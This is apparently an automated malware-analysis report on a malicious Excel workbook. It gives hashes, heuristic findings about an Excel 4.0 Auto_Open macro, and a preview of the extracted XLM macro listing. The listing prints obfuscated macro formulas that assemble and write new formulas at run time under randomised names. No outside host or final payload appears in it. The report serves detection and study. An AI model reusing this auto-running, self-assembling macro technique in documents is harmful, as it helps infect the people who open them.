Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ed2705e9821abb8c…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:39:25 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 32138a4fd1909cd591cb8b6a8e730900 SHA-1: 9e7a59b6d05d2be1f05b273fc537bedcb4e0cf82 SHA-256: ed2705e9821abb8c8cdaf61ed599e0a485ea7e24f5a09f871608478ce5250cdc
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6654 bytes
SHA-256: 7c19c9bf92a4f8f7ea097fcebf13e20c1e4fbb3fa7e3b95e97ad6478e736175c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GwKmrnVYlZ
' 0018     21 LABEL : Cell Value, String Constant - ANfwAo len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E136 
' 0018     26 LABEL : Cell Value, String Constant - cNCZhCgpPkt len=0 
' 0018     24 LABEL : Cell Value, String Constant - ecSiamLqU len=0 
' 0018     27 LABEL : Cell Value, String Constant - EkDtZRCnveBp len=0 
' 0018     25 LABEL : Cell Value, String Constant - HVGABBpLYt len=0 
' 0018     26 LABEL : Cell Value, String Constant - JQqjdrDNcSb len=0 
' 0018     24 LABEL : Cell Value, String Constant - LAjWensDP len=0 
' 0018     21 LABEL : Cell Value, String Constant - LtYHaF len=0 
' 0018     27 LABEL : Cell Value, String Constant - MUkTdbTBiKSZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - NLgvqpw len=0 
' 0018     27 LABEL : Cell Value, String Constant - PBlWbxqwNkEH len=0 
' 0018     24 LABEL : Cell Value, String Constant - pvHvRywmH len=0 
' 0018     24 LABEL : Cell Value, String Constant - QKudqWFfl len=0 
' 0018     25 LABEL : Cell Value, String Constant - SetQdtchDa len=0 
' 0018     24 LABEL : Cell Value, String Constant - WAabnEhbk len=0 
' 0018     25 LABEL : Cell Value, String Constant - WDMuecoZTw len=0 
' 0018     25 LABEL : Cell Value, String Constant - XjMaZCzesy len=0 
' 0018     21 LABEL : Cell Value, String Constant - XTlRDZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - YFYPiqIoKG len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZgbFZu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GwKmrnVYlZ,E49,"SET.NAME("XjMaZCzesy",VALUE("0"))",""
'  GwKmrnVYlZ,E54,"SET.NAME("ecSiamLqU",XjMaZCzesy)",""
'  GwKmrnVYlZ,E58,"SET.NAME("NLgvqpw",XjMaZCzesy)",""
'  GwKmrnVYlZ,E60,"SET.NAME("XTlRDZ",COUNTA(cNCZhCgpPkt))",""
'  GwKmrnVYlZ,E62,"SET.NAME("pvHvRywmH",COUNTA(HVGABBpLYt))",""
'  GwKmrnVYlZ,E64,[],""
'  GwKmrnVYlZ,E68,"SET.NAME("WAabnEhbk","")",""
'  GwKmrnVYlZ,E70,"ecSiamLqU",""
'  GwKmrnVYlZ,E72,"SET.NAME("LtYHaF",HLOOKUP("*",cNCZhCgpPkt,ecSiamLqU,FALSE))",""
'  GwKmrnVYlZ,E74,"LAjWensDP",""
'  GwKmrnVYlZ,E79,"SET.NAME("PBlWbxqwNkEH",XjMaZCzesy)",""
'  GwKmrnVYlZ,E83,[],""
'  GwKmrnVYlZ,E88,"PBlWbxqwNkEH",""
'  GwKmrnVYlZ,E91,"JQqjdrDNcSb",""
'  GwKmrnVYlZ,E94,"QKudqWFfl",""
'  GwKmrnVYlZ,E97,"WDMuecoZTw",""
'  GwKmrnVYlZ,E102,"SET.NAME("SetQdtchDa",VALUE(HLOOKUP("*",HVGABBpLYt,WDMuecoZTw,FALSE)))",""
'  GwKmrnVYlZ,E104,"ANfwAo",""
'  GwKmrnVYlZ,E106,"WAabnEhbk",""
'  GwKmrnVYlZ,E110,"NLgvqpw",""
'  GwKmrnVYlZ,E115,NEXT(),""
'  GwKmrnVYlZ,E120,"ZgbFZu",""
'  GwKmrnVYlZ,E123,"SET.NAME("f",INT(T(FORMULA(T(WAabnEhbk)&"",""&T(ZgbFZu)))))",""
'  GwKmrnVYlZ,E126,"EkDtZRCnveBp",""
'  GwKmrnVYlZ,E129,NEXT(),""
'  GwKmrnVYlZ,E131,RETURN(),""
'  GwKmrnVYlZ,E159,"SET.NAME("MUkTdbTBiKSZ",E49)",""
'  GwKmrnVYlZ,E162,"cNCZhCgpPkt",""
'  GwKmrnVYlZ,E164,"SET.NAME("HVGABBpLYt",R43C15)",""
'  GwKmrnVYlZ,E169,"SET.NAME("EkDtZRCnveBp",177)",""
'  GwKmrnVYlZ,E174,"SET.NAME("YFYPiqIoKG",5)",""
'  GwKmrnVYlZ,E176,MUkTdbTBiKSZ(),""
'  GwKmrnVYlZ,E177,HALT(),""